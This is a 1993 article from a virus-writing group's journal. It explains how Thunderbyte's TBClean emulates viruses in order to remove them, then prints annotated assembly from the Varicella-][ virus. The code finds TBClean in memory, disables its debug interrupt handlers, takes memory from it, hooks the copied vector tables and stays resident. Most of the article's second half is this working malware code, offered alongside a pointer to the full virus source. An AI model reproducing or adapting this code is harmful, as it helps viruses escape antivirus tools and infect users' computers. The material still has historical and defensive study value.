================================================================================
          NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
          uK                                                       E-
          E-   "The Dangers of Thunderbyte's TBClean Emulation     Nu
          Nu                     Techniques"                       KE
          KE                                                       -N
          -N                         By                            uK
          uK                     Rock Steady                       E-
          E-                                                       Nu
          E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu

NuKE InfoJournal #7
August 1993


% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %

% DISCLAIMER %

This article is concerning a study and field test of the reliability of
Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
and this is simply a report about his extensive study of Thunderbyte's
TBClean utility. This report is not intended to scare people away from
Thunderbyte's anti-virus package, but rather to show you how TBClean
actually works in order to clean a virus. The information here may disturb
many people, nevertheless it is presented here for the safety of those who
use Thunderbyte's TBClean in a home and/or business environment.


% What is ThunderByte %

Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
computer viruses. In this issue of the NuKE InfoJournal, we will take a
very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
which is supplied in every TBAV package.

TBCLEAN.EXE is a program that tries to remove viruses from your infected
files by using an heuristic/emulation approach. Now, for those who don't
understand what an heuristic/emulation approach is let me try to explain
it to you in more simplified, less-technical terms.

TBClean will try to set up a "control" environment to execute the virus. You
see, many of the computer viruses today will attach themselves to binary files
and alter them in such a way that when you try to execute (run) the binary
file the virus will execute first and install itself into memory, and then
the virus will execute the original binary file it is attached to. Now, every
????????.COM and ????????.EXE binary file contains an entry point. This is the
point from which DOS to starts to execute the code. Basically it is
the beginning of the program, and in order for the file to run properly we
need to start at that entry point. Now *.COM files contain a FIXED entry point
which is location 100h. Now if we attach a virus to the end of the COM file,
we have to fix the entry point so that when executed the virus will run
first. Since this is a FIXED entry point, we will go to location 100h, and
put a JMP statement to jump to the entry point of the virus. For the
original file to execute correctly, we will need the original three bytes
at the entry point, since the JMP we put for it to jump to the virus entry
point took three bytes of data in the .COM. So when the virus gives control
back to the file, we then must restore the original three bytes and execute
them.

Now to remove the virus from the .COM file we need to know where the original
three bytes are. So TBClean will actually execute the virus and try to catch
the virus restoring the original three bytes. Once that happens, TBClean can
safely remove the virus from the file, as it now can replace the original
three bytes where the virus put its jump statement.

Now .EXEs have a variable entry point, rather than a fixed one like the .COM
files.  Each .EXE file contains a header of about 32 bytes in the beginning
of the file which has information about the .EXE itself, including the entry
point. Now when a virus attaches (infects) itself to an .EXE file, it simply
puts its entry point inside the .EXE header and saves the original one for
later use.

Again, in order to remove a file from an .EXE file, we will need to have the
original entry point location. And TBClean does this by executing the virus
in a controlled environment; when the virus restores control back to the
.EXE file, it will jump to the entry point location. TBClean will halt
at that point and attempt to clean the file.


% The Problem %

The problem when doing this, the virus can always escape from this controlled
environment and go loose. In fact we at NuKE have attempted and succeeded in
doing just that!


% Explanation %

When you run TBClean to disinfect a virus-infected file, it does several
things in order to set up the environment needed to execute the virus. One of
things that TBClean does is check to see if it is being debugged.

I guess the makers of TBClean did not want people to "debug" their software
in order to have a closer look because once you know how the program works
you then can attempt to bypass it. The easiest way to bypass the anti-debug
traps is to use a debugger package that can go TSR and put loose breakpoints.
I've found that Periscope and SoftIce can easily bypass the TBClean traps,
or you may set a TSR file and set it to go off on the first interrupt 21h,
function 3Dh (DOS Open File).

The next main trick TBClean does is that it occupies all of the remaining
memory left in the system. TBClean only requires about 20k for itself, but
nevertheless it will occupy all the remaining memory left in the system. It
will use this memory for the file it will attempt to clean, but not all of the
memory is really needed, nevertheless it is occupied. Why? Well, because
TBClean wants to set-up a secure environment to run the virus and by occupying
all the available memory if the virus gets out of hand it CAN'T go resident
because there is no more memory left! "Pretty smart," you must be saying to
yourself? Yes, it is a good idea to occupy all of the memory, so like even if
the virus tries to allocate memory it will get an error and it will quit.

The next trick, before TBClean actually executes the virus in the controlled
environment is that it will make two copies of the interrupt vector table.
This too is a good idea, because if a virus does manage to escape and hook the
vector table, TBClean will notice the vector table change and restore it
with the original value. Therefore, if a virus was to "get out" of this
controlled TBClean environment we would need to hook all three copies of the
vector tables (DOS + the two copies that TBClean makes).

After this, we are pretty much ready to try to make a disinfection via
emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
and 4h to do the actual tracing. The interrupt that we REALLY need to pay
attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
they added what we call a Trap Flag. Normally this flag is off, and the
processor executes every line of code without stoping. But when the trap flag
is on, the processor will issue an Int 1h call after every line of code
executed. Therefore, after every line of code is executed the processor will
issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
the code line by line.

There are a few restrictions that TBClean enforces; one of them is the Trap
flag must always be on! If you try to turn off the Trap flag, TBClean will
fool the virus into thinking the Trap flag is off, but it really stays on.
Secondly, interrupt calls are not allowed. Thirdly, it will never give you
the true vector address of Int 1h or Int 3h -- it gives you a fake value
instead. Finally, TBClean will NOT allow the virus to have its segment in
the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
the value 0ABC is never allowed to go in the DS or ES registers of the virus.
This is done so the virus is not able to snoop inside TBClean.


% Making a virus to bypass TBClean %

After I had successfully taken apart TBClean, and once I understood exactly
how it worked, then I was ready to write a virus to defeat TBClean's
dangerous emulation techniques.

Don't get me wrong, TBClean has a great idea going, but it contains too many
flaws that must be tightened up. And apparently those flaws can lead to the
destruction of your PC. Just think about it. Let's say you just downloaded a
file from your local BBS, and you used TBSCAN to scan the new file for viruses,
before you attempt to execute it. Lets say the file is infected with a virus
like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
wouldn't you naturally try to clean it so you could perhaps use the file? Of
course you would, and what program would you use to do the job? Nothing but
TBClean!

Picture it, your computer is not infected by any virus, you are pretty much
happy about yourself for using TBSCAN and detecting that virus inside that
file you just downloaded. Your glad you got it before it infected your
computer. Or lets say you got TBScanX resident, and it caught the virus, just
as you attempt to executed it... You now try to clean the file with TBClean.
TBClean does what it has to do, looks at the file and then tries emulation to
disinfect it. After emulation TBClean reports no viruses found, and tells you
that it may not even be infected with a virus.

You're puzzled? Well, actually TBClean just unleased the virus into your
system! Now who's to blame? Personally, I think it's the incompetent
programmers of TBClean. It allowed too many loopholes in their program, and
the Varicella-][ virus just took advantage of those loopholes and is now
resident in your computer, ready to infect every file you touch. Remember, it
is also a very fast, stealthy virus.

Personally, if _any_ anti-virus program should attempt to disinfect via
emulation, it must be EXTREMELY cautious, and it should take every
possible loophole into account. Remember, emulation means that you are
actually executing the virus in order to disinfect it. Many people didn't
know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
should praise NuKE for testing their software and showing them their flaws, so
that they may do whatever is necessary to fix this problem.

It is fortunate for Thunderbyte that no "evil" virus writer has noticed
this problem and took advantage of it. It would have cost Thunderbyte
their name and market share.

Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
that Thunderbyte rated very low under NuKE's personal attack tests in several
fields.

Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
when no virus was present. It is enough that the average computer user is
paranoid about viruses, but if you "cry wolf" too many times people lose hope
in the package.

Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
under OS/2. This seems to be because TBSCAN uses its own file routines, instead
of DOS's.

Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
package too difficult to use. A Windows version of Thunderbyte could
be a great plus.


% And in this corner...Varicella-][ %

Let's go into detail with parts of the Varicella-][ virus and let's show you why
it works.

     1          mov     byte ptr cs:[tb_here][bp],00h   ;Reset TB flag
     2          xor     dx,dx                           ;dx=0
     3          mov     ds,dx                           ;ds=0
     4          mov     ax,word ptr ds:[0006h]          ;ax=0000:0006 segment of
     5          dec     ax
     6          mov     ds,ax

Okay, after looking at the above we begin by resetting our TB flag. TBClean
will not give us the complete address of Int 1h. It will only give us the
correct segment, the offset is no good. Therefore let's simply take the segment.
Now we know the segment location of TBClean in memory, since TBClean will
not let me store the value in DS, let's subtract 1 and *then* store it in DS.
We have again fooled TBClean; maybe we can't have TBClean's correct segment
in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.

In the next block of code, we will search 64k of TBClean's memory in order to
find the Int 1h and 3h offsets and the two copies of the vector table. This is
the bit of data we will be searching for.

====================Somewhere in TBClean.EXE==v6.04===================
 1 cs:04A4  33C0                xor     ax,ax
 2 cs:04A6  8ED8                mov     ds,ax
 3 cs:04A8  8BF8                mov     si,ax
 4 cs:04AA  BF342D              mov     di,2D34
 5 cs:04AD  B90002              mov     cx,0200
 6 cs:04B0  F3A5                rep movsw

[The above block is coping the vector table (0000:0000) to location
 ES:DI (ES:2D34). This value we will need.]

 7 cs:04B2  FA                  cli
 8 cs:04B3  C70600005411        mov     word ptr [0000],1154
 9 cs:04B9  8C0E0200            mov     [0002],cs
10 cs:04BD  C7060400E513        mov     word ptr [0004],13E5
11 cs:04C3  8C0E0600            mov     [0006],cs
12 cs:04C7  C7060C006B15        mov     word ptr [000C],156B
13 cs:04CD  8C0E0E00            mov     [000E],cs
14 cs:04D1  C70610005411        mov     word ptr [0010],1154
15 cs:04D7  8C0E1200            mov     [0012],cs
16 cs:04DB  C70614005411        mov     word ptr [0014],1154
17 cs:04E1  8C0E1600            mov     [0016],cs
18 cs:04E5  C70618005411        mov     word ptr [0018],1154
19 cs:04EB  8C0E1A00            mov     [001A],cs
20 cs:04EF  C7066C002411        mov     word ptr [006C],1124
21 cs:04F5  8C0E6E00            mov     [006E],cs
22 cs:04F9  FB                  sti

[The above block is hooking the vector table. This is were we get our
 Int 1h and 3h location.]

23 cs:04FA  8BF0                mov     si,ax
24 cs:04FC  8BF8                mov     di,ax
25 cs:04FE  2E8E06F032          mov     es,cs:[32F0]
26 cs:0503  B90080              mov     cx,8000
27 cs:0506  F3A5                rep movsw

[The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
 the segment which is in location CS:32F0. We will need to get this
 location to hook the interrupts.]
===========================END of TBClean=============================

Now, the bellow block will start to search for the above block in memory
where we will scan 64k from the segment we got.

                mov     cx,0FFFFh                       ;cx=64k
                mov     si,dx                           ;si=0

look_4_TBClean: mov     ax,word ptr ds:[si]
                xor     ax,0A5F3h

[You could do a "CMP   WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
 because TBClean will find out what I'm doing and fool around with the
 flag and my test will fail! As you can see, we are looking for the bytes
 from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
 A5F3.]
                je      check_it                        ;jmp if its TBClean
look_again:     inc     si                              ;if not continue looking
                loop    look_4_TBClean
                jmp     not_found                       ;not found cont normal

[If A5F3 is found, we continue with the bottom, which will search for more bytes
 in that block captured above. These bytes that we are searching for exist
 in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
 should work!]

check_it:       mov     ax,word ptr ds:[si+4]
                xor     ax,0006h
                jne     look_again                      ;jmp =! TBClean
                mov     ax,word ptr ds:[si+10]
                xor     ax,020Eh
                jne     look_again                      ;jmp =! TBClean
                mov     ax,word ptr ds:[si+12]
                xor     ax,0C700h
                jne     look_again                      ;jmp =! TBClean
                mov     ax,word ptr ds:[si+14]
                xor     ax,0406h
                jne     look_again                      ;jmp =! TBClean

[If all the bytes match, it means we found TBClean in memory, and since we
 know where we are, we can steal the Int 1h & 3h locations, like we do
 bellow.]
                mov     bx,word ptr ds:[si+17]          ;steal REAL int 1 offset

[Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
 handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
 the offset because the segment is really DS - 1, so to counter act the segment
 we add 16 to the offset. (16 bytes = 1 segment)]

                mov     byte ptr ds:[bx+16],0CFh        ;replace with IRET

[Same is done for Int 3h bellow.]

                mov     bx,word ptr ds:[si+27]          ;steal REAL int 3 offset
                mov     byte ptr ds:[bx+16],0CFh        ;replace with IRET

[TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
 found TBClean, and let's go resident]

                mov     byte ptr cs:[tb_here][bp],01h   ;set the TB flag on

[The next block gets the segment of where the 2nd copy of the vector table
 is hiding (line #25 in TBClean capture)!]

                mov     bx,word ptr ds:[si+51h]         ;get 2nd segment of ints
                mov     word ptr cs:[tb_int2][bp],bx    ;vector table

[The next block gets the offset of the 1st copy of the vector table that
 TBClean did (line #4 in TBClean capture).]

                mov     bx,word ptr ds:[si-5]           ;get offset of 1st copy
                mov     word ptr cs:[tb_ints][bp],bx    ;of vector table

[Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]

not_found:      xor     dx,dx
                push    ds
                mov     ds,dx                           ;put that in ds
                les     si,dword ptr ds:[0084h]         ;get int21 vector
                mov     word ptr cs:[int21][bp],si      ;save int21 offset
                mov     word ptr cs:[int21+2][bp],es    ;save int21 segment

                les     si,dword ptr ds:[0070h]         ;get int1c vector
                mov     word ptr cs:[int1c][bp],si      ;save int1c offset
                mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment

                les     si,dword ptr ds:[004ch]         ;get int13 vector
                mov     word ptr cs:[int13][bp],si      ;save int13 offset
                mov     word ptr cs:[int13+2][bp],es    ;save int13 segment
                pop     ds

                mov     byte ptr cs:[mcb][bp],00h       ;reset the TB mcb flag
                mov     ax,0abcdh                       ;test if virus is here?
                int     13h
                cmp     bx,0abcdh                       ;is it?
                jne     install_virus                   ;jmp, if not & install
leave_mcb:      jmp     exit_mem                        ;yes, leave then

[This is the tricky part! Remember TBClean occupies ALL available memory!
 So I had to come up with a routine that would work when TBClean was NOT in
 memory, and when it was! The task was hard...but I did it (naturally, hehe).

 TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
 "install_virus" and we get the List of Lists, and we get the FIRST MCB chain
 and basically we chain through until we find the END of the MCB chain, which
 ends with a "Z" instead of an "M". Once we find the last chain we subtract
 the virus size in paragraphs, and that's it...

 TBClean in memory: If TBClean is in memory when the virus finds the LAST
 MCB block and tries to subtract its size from it, it will notice that
 not enough memory is available. Where then will jump to "steal_some."

 What "steal_some" does is it will REPEAT the process again. Meaning it will
 now get the FIRST MCB chain, and chain through the end, but while its chaining
 through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
 find the MCB that belongs to TBClean we will subtract the virus size in
 paragraphs from it and voila -- we stole and allocated memory while bypassing
 TBClean!!! And now we can safely return to TBClean without worrying if it will
 de-allocate our memory space.]

;--------- Going Resident ------

steal_some:     mov     al,byte ptr cs:[mcb][bp]        ;if tb is here, steal
                cmp     al,0ffh                         ;memory from it!
                je      leave_mcb                       ;error? exit then
                inc     byte ptr cs:[mcb][bp]           ;inc flag
                cmp     al,01                           ;
                ja      mcb3_1

install_virus:  mov     ah,52h                          ;get the list of lists
                int     21h                             ;use dos
                mov     ax,es:[bx-2]                    ;get first mcb chain

                mov     es,ax                           ;es=segment of 1st mcb
mcb1:           cmp     byte ptr es:[0000h],'Z'         ;is it the last mcb
                jne     mcb2                            ;jmp if not
                clc                                     ;yes last mcb, CLC
                jmp     short mcbx                      ;outta here

mcb2:           cmp     byte ptr es:[0000h],'M'         ;is it in the chain
                je      mcb3                            ;jmp if yes
                stc                                     ;error, set carry flag
                jmp     short mcbx                      ;outta here

[The bellow block is special! Meaning if the TB flag is on, we will compare
 ALL of the MCB block owners to find the one that belongs to TBClean! Since
 we already know the segment of TBClean, we subtract 100h (256) bytes and we
 have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
 we  already subtracted 1 from the beginning!]

mcb3:           cmp     byte ptr cs:[mcb][bp],0         ;is TB flag off?
                je      mcb3_1                          ;if yes, then jmp
                mov     dx,ds                           ;else cmp TB ds
                sub     dx,9h                           ;ds-10
                cmp     word ptr es:[0001h],dx          ;cmp to mcb owner.
                je      mcbx_1

mcb3_1:         mov     ax,es                           ;ax=es
                add     ax,word ptr es:[0003h]          ;ax=es + next mcb
                inc     ax                              ;get mcb
                mov     es,ax                           ;es=ax:next mcb chain
                jmp     short mcb1                      ;goto first step

mcbx:           jc      leave_mcb                       ;if error, exit
mcbx_1:         cmp     word ptr es:[0003],(virus_size/16) + 11h
                jb      steal_some
                mov     byte ptr es:[0000],'Z'          ;the last mcb chain!
                sub     word ptr es:[0003],(virus_size/16) + 11h
                add     ax,word ptr es:[0003h]          ;figure out segment
                inc     ax                              ;add 16 bytes
                mov     es,ax                           ;new segment in es
                mov     di,103h                         ;offset is 103h

[Now we have some memory! Let's move a copy of the virus into that newly
 allocated memory under the TOM!]

                push    ds                              ;save TB ds location
                push    cs
                pop     ds                              ;virus cs=ds
                mov     si,offset init_virus            ;si=top of virus
                add     si,bp                           ;add delta
                mov     cx,virus_size                   ;move virus_size
                cld                                     ;clear direction flag
                repne   movsb                           ;do it Mr. Crunge

[Now we will hook the DOS Vector table (0000:0000->0000:0200).]

                mov     ds,cx                           ;ds=0000
hook_again:     cli                                     ;disable ints
                mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
                mov     word ptr ds:[0086h],es
                mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
                mov     word ptr ds:[0072h],es
                mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
                mov     word ptr ds:[004eh],es
                sti                                     ;enable ints

[We will test if the TBClean flag is on! If TBClean flag is on, we will make
 DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]

                cmp     byte ptr cs:[tb_here][bp],00h   ;was TB found?
                je      go_on                           ;no, then jmp
                cmp     cl,01h                          ;is this the 2nd x here?
                je      go_on                           ;yes, then jmp
                mov     ds,word ptr cs:[tb_int2][bp]    ;get TB int segment
                inc     cl                              ;inc cl
                jmp     short hook_again                ;hook ints again

[If TBClean was found the bellow block will now hook the last copy of the
 vector table that TBClean did...]

go_on:          pop     ds                              ;get TB code segment
                cmp     byte ptr cs:[tb_here][bp],01h   ;TB here?
                je      hook_tb_ints                    ;yes, then jmp
                jmp     exit_mem                        ;else exit
hook_tb_ints:   mov     si,word ptr cs:[tb_ints][bp]    ;get TB int offset
                mov     word ptr ds:[si+84h+16],offset int21_handler
                mov     word ptr ds:[si+86h+16],es
                mov     word ptr ds:[si+70h+16],offset int1c_handler
                mov     word ptr ds:[si+72h+16],es
                mov     word ptr ds:[si+4ch+16],offset int13_handler
                mov     word ptr ds:[si+4eh+16],es

[ALL DONE!!! Now we restore to the original file!

 So how does it feel to fool TBClean??? Article #11 contains the complete
 source code of the Varicella-][ virus. You may test it as you wish!]

exit_mem:       pop     ds
                pop     es
                pop     si
                cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
                je      exit_exe_file                   ;yupe exit exe file
                push    cs
                pop     ds
                mov     bx,offset buffer                ;get first 3 bytes
                add     bx,bp                           ;fix delta
                mov     ax,[bx]                         ;move first 2 bytes
                mov     word ptr ds:[100h],ax           ;put em in the beginning
                inc     bx                              ;inc pointer
                inc     bx
                mov     al,[bx]                         ;get last of 3rd byte
                mov     byte ptr ds:[102h],al           ;put that in place
                pop     dx
                pop     cx
                pop     bx
                pop     word ptr cs:[ax_reg][bp]        ;save ax else where
                mov     ax,100h
                push    ax                              ;fake a CALL & RETN
                mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
                retn                                    ;link to 100h

exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
                add     dx,10h                          ;add 16bytes to seg
                pop     word ptr cs:[ax_reg][bp]
                pop     cx
                pop     bx
                pop     ax
                add     word ptr cs:[buffer+22][bp],dx  ;fix segments
                add     dx,word ptr cs:[buffer+14][bp]
                cli
                mov     ss,dx                           ;restore ss
                mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
                sti
                mov     dx,word ptr cs:[ax_reg][bp]
                jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.

                            Rock Steady/NuKE
===============================================================================
